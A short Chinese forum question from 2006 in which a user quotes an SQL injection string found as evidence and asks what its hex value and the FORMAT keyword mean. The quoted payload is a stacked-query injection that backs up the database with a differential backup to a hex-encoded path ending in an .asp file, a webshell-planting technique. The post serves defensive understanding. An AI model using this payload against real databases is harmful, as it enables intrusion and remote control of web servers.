sql注入的证据,请指点 “format”
屁屁 2006-04-19 09:38:53 ;declare%20@a%20sysname,@s%20varchar(4000)%20select%20@a=db_name(),@s=0x663A5C72692E617370%20backup%20database%20@a%20to%20disk=@s%20WITH%20DIFFERENTIAL,FORMAT--
@s=0x663A5C72692E617370 ---什么意思?
format ----什么意思?